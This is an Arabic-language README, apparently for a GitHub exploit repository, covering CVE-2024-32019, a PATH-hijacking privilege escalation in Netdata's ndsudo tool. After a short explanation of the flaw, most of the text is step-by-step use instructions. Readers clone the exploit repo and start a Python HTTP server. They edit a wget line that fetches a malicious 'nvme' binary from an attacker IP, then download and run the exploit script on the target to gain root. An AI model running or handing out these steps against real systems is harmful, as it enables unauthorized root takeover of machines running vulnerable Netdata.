
استغلال تصعيد الامتيازات القائم على Bash لـ CVE-2024-32019 في أداة ndsudo لوكيل Netdata، مستفيدًا من بحث PATH غير الموثوق به لتنفيذ ثنائيات عشوائية بصلاحيات الجذر.
ثغرة ndsudo تسمح للمهاجم بالحصول على صلاحيات الجذر من خلال استغلال مسار بحث غير موثوق في أداة ndsudo، والتي هي جزء من وكيل Netdata. يمكن أن يؤدي ذلك إلى تنفيذ برامج عشوائية بصلاحيات مرتفعة إذا قام المهاجم بوضع ملف ثنائي ضار في دليل قابل للكتابة وتعديل متغير البيئة PATH وفقًا لذلك.
ثغرة ndsudo، المُحددة بـ CVE-2024-32019، تؤثر على إصدارات أداة ndsudo المضمنة مع وكيل Netdata، وتحديدًا الإصدارات v1.45.0 وما دونها. تسمح هذه الثغرة للمهاجمين برفع الصلاحيات على الأنظمة التي تم تثبيت الأداة فيها.
كيف تعمل الثغرة:
آلية الاستغلال:-
مسار بحث غير موثوق: تستخدم أداة ndsudo متغير البيئة PATH لتحديد موقع الأوامر الخارجية. يمكن للمهاجم التلاعب بهذا المتغير ليجعله يشير إلى دليل يتحكم فيه.
تنفيذ الملفات الثنائية الضارة: من خلال وضع ملف تنفيذي ضار بنفس اسم أمر يسمح لـ ndsudo بتشغيله (مثل nvme) في دليل قابل للكتابة، يمكن للمهاجم تنفيذ كود عشوائي بصلاحيات الجذر.
تعقيد الهجوم:-
منخفضة التعقيد: لا يتطلب الهجوم مهارات متقدمة، يمكن استخدام سكربت bash بسيط لـ priviesc مما يجعله في متناول العديد من المهاجمين المحتملين.
تأثير الثغرة:-
رفع الصلاحيات: الاستغلال الناجح يسمح للمهاجم بالحصول على وصول الجذر، مما قد يؤدي إلى السيطرة الكاملة على النظام المتأثر.
المخاطر المحتملة: يمكن أن يؤدي ذلك إلى الوصول غير المصرح به للبيانات، والتلاعب بالنظام، واستغلال موارد الشبكة بشكل أكبر.
PRIVILEGE ESCALATION لقد قمت بإنشاء سكربتين bash لسهولة الحصول على الوصول من المستخدم إلى الجذر. اتبع الخطوات كما هو موضح أدناه :-
git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git
cd CVE-2024-32019-ndsudo
chmod +x ndsudo_exp.sh
الآن قم بإنشاء خادم بايثون :
python3 -m http.server 8080
افتح ملف ndsudo_exploit.sh باستخدام gedit أو pluma أيهما متاح. ستتمكن من رؤية أمر wget مثل هذا :
wget http://10.10.14.70:8080/nvme -o /tmp/nvme
قم بتغيير عنوان IP إلى عنوان IP الخاص بجهازك
الآن انتقل إلى الجهاز الهدف، افتح الطرفية وقم بما يلي:
wget http://<your-ip-addr>:8080/ndsudo_exploit.sh
chmod +x ndsudo_exploit.sh
./ndsudo_exploit.sh